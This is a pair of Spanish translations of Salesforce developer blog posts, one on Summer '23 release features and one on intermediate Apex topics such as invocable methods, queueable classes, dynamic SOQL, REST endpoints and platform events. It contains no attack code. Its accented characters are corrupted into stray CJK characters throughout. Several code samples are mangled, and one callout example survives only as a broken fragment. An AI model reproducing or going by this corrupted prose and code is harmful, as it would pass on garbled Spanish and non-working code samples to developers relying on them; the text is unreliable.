隆El lanzamiento de Summer '23 est谩 aqu铆 y est谩 repleto de funciones para desarrolladores! En esta publicaci贸n de blog, resumiremos los aspectos m谩s destacados, para que pueda obtener una descripci贸n general de las novedades y decidir qu茅 es lo m谩s interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las 煤ltimas innovaciones lo ayudar谩 a aumentar su experiencia y convertirse en un desarrollador m谩s exitoso.

Componentes web Lightning

Comencemos hablando de Lightning Web Components, que presentar谩 una gran cantidad de nuevas funciones en Summer '23.

Un par de funciones que estaban en Beta ahora estar谩n disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, tambi茅n ser谩 GA. Adem谩s, el adaptador de cable GraphQL se est谩 moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiar谩 las reglas del juego sobre c贸mo se leen los datos en Lightning Web Components.

Hay varias mejoras en la sintaxis de LWC que facilitar谩n la escritura de sus componentes. Se est谩 lanzando una nueva directiva de plantilla lwc:spread (consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de c贸digo que necesita escribir. A partir de Summer '23, podr谩 establecer un valor din谩mico para el atributo de ranura de un elemento HTML. Adem谩s, se habilitar谩 la inyecci贸n program谩tica de hojas de estilo, lo que le permitir谩 establecer la propiedad est谩tica de las hojas de estilo para un componente.

驴Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versi贸n tambi茅n trae mejoras a las capacidades de manejo de errores de UTAM y una extensi贸n de Chrome para identificar objetos de p谩gina de UTAM (en Beta).

M贸vil sin conexi贸n

Salesforce Mobile App Plus (Salesforce App+) es una versi贸n de la aplicaci贸n Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecuci贸n avanzado para componentes web Lightning que aumenta el tiempo de ejecuci贸n est谩ndar con funciones dise帽adas espec铆ficamente para uso m贸vil y sin conexi贸n. Si bien LWC Offline anteriormente solo estaba disponible en la aplicaci贸n m贸vil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto m谩s gen茅rico. Salesforce App+ se cerr贸 en Beta en Spring '23 y se trasladar谩 a GA en Summer '23. Salesforce App+ est谩 disponible bajo la licencia Salesforce Mobile Plus.

Integraci贸n de plataforma

Tener una plataforma robusta es tan importante como tener capacidades de integraci贸n s贸lidas. Es por eso que la versi贸n Summer '23 trae muchas funciones de integraci贸n nuevas.

En esta versi贸n, ampliamos la API REST de Salesforce para admitir la recuperaci贸n de elementos secundarios mediante la definici贸n de hasta cinco niveles de consultas SOQL anidadas . Tambi茅n ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programaci贸n. Adem谩s, la API GraphQL, que se hizo GA en Spring, ahora admitir谩 consultas con funciones agregadas y mejorar谩 sus capacidades de manejo de errores . Los eventos de la plataforma tambi茅n incluyen nuevas funciones, como la capacidad de agregar una clase de devoluci贸n de llamada a su c贸digo de publicaci贸n de Apex , que proporcionar谩 una confirmaci贸n cuando el evento de la plataforma se publique correctamente. Adem谩s, podr谩 obtener m茅tricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric .

Tambi茅n se est谩n mejorando las capacidades de integraci贸n en Flow. Flow Builders ahora podr谩 configurar llamadas HTTP GET a sistemas externos que no tienen una especificaci贸n de API abierta a trav茅s de la funci贸n Servicios externos. Las llamadas HTTP POST est谩n en Beta. Si es un Muley , puede leer m谩s sobre las innovaciones de Flow plus MuleSoft en la siguiente secci贸n.

Adem谩s de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudar谩 a GA, y Event Relay ahora admitir谩 Shield Platform Encryption y tendr谩 una nueva interfaz de usuario de configuraci贸n f谩cil de usar.

Innovaciones entre nubes

Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.

Mula Suave

Una de las innovaciones m谩s recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de pr贸xima generaci贸n de MuleSoft para dise帽ar, desarrollar e implementar API, integraciones y automatizaci贸n desde un solo entorno. 隆Compru茅balo si a煤n no lo has hecho!

Si ley贸 la secci贸n "Integraci贸n de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se est谩 integrando en Flow m谩s que nunca. En Summer '23, habr谩 una nueva secci贸n en la interfaz de usuario de configuraci贸n de Salesforce Platform, desde la cual podr谩 configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Adem谩s, el soporte de MuleSoft se est谩 agregando a Flow Orchestrator , lo que facilita la creaci贸n de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.

Por 煤ltimo, se lanzar谩 Anypoint Experience Hub . Es la pr贸xima evoluci贸n de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participaci贸n de API.

Cuadro

Si trabaja con API, es posible que est茅 familiarizado con la colecci贸n Postman de API de Salesforce . Esta colecci贸n se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente m谩s de 500 bifurcaciones y m谩s de 800 estrellas. Tableau recientemente se subi贸 al carro al agregar sus propias muestras de la API REST de Tableau a la colecci贸n. Para obtener m谩s informaci贸n, lea nuestra entrada de blog .

Si le gust贸 la colecci贸n, le encantar谩 la innovaci贸n m谩s reciente de Tableau, cuya vista previa p煤blica se anunci贸 en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar r谩pidamente soluciones de an谩lisis integradas. Integre visualizaciones de Tableau y agregue r谩pidamente interacciones que establezcan filtros y par谩metros, obtengan marcas y datos seleccionados, utilizando los componentes b谩sicos de los m茅todos y las propiedades de la API de incorporaci贸n. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con c贸digo que puede exportar y ejecutar en cualquier lugar.

La diversi贸n no se detiene ah铆. Para admitir an谩lisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecuci贸n dentro del flujo de autenticaci贸n integrado. Para obtener m谩s informaci贸n, leanuestra entrada de blog .

Flojo

Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de pr贸xima generaci贸n. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes b谩sicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podr谩n aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma tambi茅n incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener m谩s informaci贸n al respecto y obtener experiencia pr谩ctica, dir铆jase a la gu铆a de inicio r谩pido .

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas caracter铆sticas favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Sube de nivel tus habilidades Apex 鈽侊笍

Sube de nivel tus habilidades Apex 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad 煤nica que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos b谩sicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, l铆mites reguladores y disparadores, son particulares de Apex y c贸mo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas caracter铆sticas y modismos clave, 驴a d贸nde va despu茅s?

En esta publicaci贸n, aprender谩 sobre algunas caracter铆sticas de Apex que son cr铆ticas para cualquier desarrollador de Apex que busque mejorar m谩s all谩 de lo b谩sico, junto con d贸nde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de c贸digo en esta publicaci贸n se toman directamente o se adaptan de la aplicaci贸n de muestra Recetas de Apex o la Gu铆a para desarrolladores de Apex. Ver las referencias al final del art铆culo.

En estos d铆as, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opci贸n que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. A煤n as铆, es raro que los problemas comerciales complejos se puedan resolver sin ning煤n tipo de c贸digo.

Introduzca Apex invocable.

La anotaci贸n @InvocableMethod se usa para definir m茅todos llamados por Flow. Y @InvocableVariable muestra los par谩metros para que Flow pase datos a su c贸digo Apex. 驴Por qu茅 llamar铆a a Apex desde Flow? Quiz谩s la l贸gica de su flujo se est谩 volviendo demasiado compleja. Tal vez su automatizaci贸n necesite realizar una operaci贸n que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aqu铆 hay una ilustraci贸n b谩sica del uso de la anotaci贸n @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }”>

Este ejemplo de la Gu铆a para desarrolladores de Apex ilustra c贸mo la anotaci贸n marca esto como un m茅todo que Flow puede invocar. Tenga en cuenta que la anotaci贸n tambi茅n define detalles como una etiqueta y una descripci贸n que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable鈥 del que pocas personas hablan es que esto muestra autom谩ticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa 煤til que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex as铆ncrono. Lo que trae a colaci贸n la siguiente caracter铆stica de Apex que se debe abordar.

La ejecuci贸n as铆ncrona desacopla una acci贸n que queremos realizar del contexto de ejecuci贸n actual. Siguiendo las mejores pr谩cticas actuales, existen tres formas de ejecutar Apex de forma asincr贸nica: en cola, programable y por lotes. Aunque t茅cnicamente el bus de eventos es as铆ncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de c贸digo para ejecutarlo de forma asincr贸nica, la opci贸n en cola es la herramienta de referencia. Si tiene varias tareas asincr贸nicas, queueable las ejecuta de manera determinista en orden. Debido a que est谩n en cola en orden, tambi茅n puede encadenar una llamada as铆ncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperar铆a: ejecute alg煤n c贸digo de Apex en un horario. Batch Apex est谩 optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex as铆ncrono, debe crear una clase de Apex que implemente una interfaz espec铆fica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotaci贸n @Future para hacer que un solo m茅todo sea asincr贸nico, tambi茅n conocido como "m茅todos futuros". Los m茅todos futuros, aunque r谩pidos y f谩ciles, tienen limitaciones que los hacen menos 煤tiles. No hay nada que pueda hacer con un m茅todo futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producci贸n con m茅todos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} “>

Todas las interfaces as铆ncronas de Apex tienen un m茅todo execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicaci贸n de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los par谩metros que necesita.

El t茅rmino "Apex din谩mico" es un poco inapropiado. O, al menos, podr铆a malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programaci贸n din谩mico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
funci贸n eval !).

Dynamic Apex es un c贸digo que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecuci贸n. Esto se hace abstrayendo referencias espec铆ficas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. Tambi茅n utilizar谩 las funciones de "descripci贸n" de Apex para detectar con qu茅 objetos y campos est谩 trabajando y qu茅 puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, crear谩 una aplicaci贸n que debe adaptarse al entorno local del cliente que instala su aplicaci贸n. Esto significa que su c贸digo necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, tambi茅n es importante para cualquier persona que quiera escribir c贸digo m谩s reutilizable.

Tome este ejemplo de consulta muy b谩sico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];”>

Esto funcionar谩 todo el d铆a consultando los datos de la cuenta. Pero, 驴y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "din谩mico", necesitamos abstraer las referencias de campo y SObject espec铆ficas. Y tal vez lo incluir铆amos en un m茅todo que permitiera a otro desarrollador pasarlos. Tambi茅n podr铆amos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operaci贸n que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } “>

Lo anterior construye una consulta para un SObject que se pasa al m茅todo y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuaci贸n, debe invocarlo.

As铆 es como podr铆amos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); “>

Este ejemplo no aborda algunos riesgos de SOQL din谩mico, como la inyecci贸n de SOQL. Por lo tanto, aseg煤rese de leer sobre Apex din谩mico. Aprender a escribir Apex seguro har谩 que sea menos probable que implemente c贸digo vulnerable en su organizaci贸n (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex din谩mico de ser explotado. El m茅todo escapeSingleQuotes() es otra herramienta m谩s antigua que tambi茅n puede encontrar. El modo de usuario tambi茅n es clave para garantizar que cualquier acci贸n realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo m谩s completo y seguro de Apex din谩mico, consulte la receta de Apex del m茅todo invocable en la aplicaci贸n de ejemplo Recetas de Apex. Esa acci贸n invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integraci贸n sin c贸digo. Espec铆ficamente, si solo necesita una aplicaci贸n o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran autom谩ticamente sin ning煤n tipo de codificaci贸n en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si est谩 integrando su organizaci贸n a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere c贸digo).

Pero a veces, es posible que deba llamar desde su organizaci贸n a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe m谩s complejidad que una de las API est谩ndar. Nuevamente, Apex contiene funciones que admiten tanto la aparici贸n de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos d铆as, la mayor铆a de los desarrolladores pensar铆an en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotaci贸n @RestResource . Parte del trabajo de la anotaci贸n es definir tambi茅n el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de m茅todos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuaci贸n, se muestra un ejemplo de un extremo REST b谩sico que aparece en el m茅todo HTTP GET. Tenga en cuenta c贸mo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} “>

Si su requisito es crear un servicio SOAP, tambi茅n hay un conjunto de caracter铆sticas para admitir ese protocolo.

Fuera del c贸digo real, necesitar谩 una sesi贸n autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a trav茅s de un conjunto de clases. La clase HttpRequest le permite definir los par谩metros de c贸mo se comportar谩 su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a trav茅s del m茅todo est谩tico Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuraci贸n para su texto destacado. Espec铆ficamente, deber谩 configurar una credencial con nombre en la mayor铆a de los casos. Esta configuraci贸n le permite descargar el protocolo de enlace de autenticaci贸n de su c贸digo. Aunque, si est谩 llamando a un servicio an贸nimo no autenticado, tambi茅n puede optar por usar una configuraci贸n de sitio remoto m谩s simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticaci贸n.

La transmisi贸n de eventos es una herramienta valiosa para crear arquitecturas d茅bilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisi贸n de eventos a trav茅s de dos caracter铆sticas principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Gu铆a para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de m煤ltiples inquilinos y m煤ltiples nubes basado en un modelo de publicaci贸n-suscripci贸n". Tanto su organizaci贸n como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a trav茅s del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject ef铆mero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el m茅todo EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el c贸digo a continuaci贸n que publica un evento.

En Apex, se suscribe a un evento creando un disparador as铆ncrono para 茅l. Pero los disparadores as铆ncronos son diferentes de la operaci贸n DML transaccional est谩ndar de un disparador normal. Por esta raz贸n, debe tener en cuenta algunas diferencias. Con disparadores as铆ncronos, el tama帽o del lote es diferente. Necesitas configurar tu usuario de ejecuci贸n. Las operaciones de activaci贸n de eventos tambi茅n se pueden volver a intentar. Aseg煤rese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuaci贸n.

A diferencia de los disparadores DML t铆picos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acci贸n expl铆cita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organizaci贸n, se suscribe autom谩ticamente.

Adem谩s de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones d茅bilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas caracter铆sticas bastante comunes. Pero es posible que deba aprender otras funciones de Apex seg煤n los requisitos de su proyecto. Aqu铆 hay algunos otros elementos que debe tener en cuenta.

Cach茅 de plataforma : si proviene de otras plataformas de programaci贸n, estar谩 familiarizado con la noci贸n de una variable est谩tica o global persistente en todas las transacciones. Pero en Apex, las est谩ticas se limitan a la transacci贸n. La memoria cach茅 de la plataforma es una caracter铆stica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperaci贸n de datos, la memoria cach茅 de la plataforma puede ayudar.

Marcos de activaci贸n : no es una caracter铆stica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el c贸digo de activaci贸n repetitivo que a menudo necesita escribir. Al usar un marco de activaci贸n, deber铆a permitirle concentrarse solo en la l贸gica que debe abordarse. Para algo m谩s que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentar铆an que deber铆a considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimizaci贸n prematura. Hay una implementaci贸n muy simple de esto en la aplicaci贸n Apex Recipes .

SOSL : el lenguaje de b煤squeda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparaci贸n con la b煤squeda de campos de texto con SOQL y comodines. Admite la b煤squeda de varios SObjects simult谩neamente y contiene funciones para filtrar de forma determinista los resultados de la b煤squeda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el c贸digo Apex personalizado en sus componentes web Lightning (LWC), esta anotaci贸n es clave. Es muy probable que ya est茅 usando este si comenz贸 su viaje de Salesforce creando LWC. Pero si a煤n no lo ha usado, b煤squelo en cualquier proyecto que involucre una interfaz de usuario personalizada. 驴Por qu茅 "Aura" habilitado si es para LWC? Bueno, esta anotaci贸n se cre贸 inicialmente para admitir el predecesor de LWC, el marco Aura. Ten铆a sentido no reinventar una nueva anotaci贸n cuando la existente funcionar铆a igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programaci贸n tiene algunas caracter铆sticas clave que todos deben conocer. La sintaxis b谩sica, el control de flujo y el modelo de ejecuci贸n de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos b谩sicos, trabajar en funciones m谩s avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex as铆ncrono, el Apex "din谩mico", la integraci贸n y el bus de eventos son funciones que probablemente utilizar谩 a medida que avanza. Al familiarizarse con estos ahora, no solo se preparar谩 para abordar proyectos en el futuro, sino que tambi茅n podr谩 tomar mejores decisiones de soluci贸n.

Si cree que est谩 listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y m谩s.

Aplicaci贸n de muestra Apex Recipes en Github

Gu铆a para desarrolladores de Apex

Gu铆a de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitaci贸n para desarrolladores durante m谩s de 20 a帽os. Pas贸 los 煤ltimos 12 a帽os ayudando a miles de desarrolladores a tener 茅xito en la plataforma de Salesforce, y m谩s recientemente lider贸 el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de monta帽a, cocina y toca m煤sica. S铆galo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading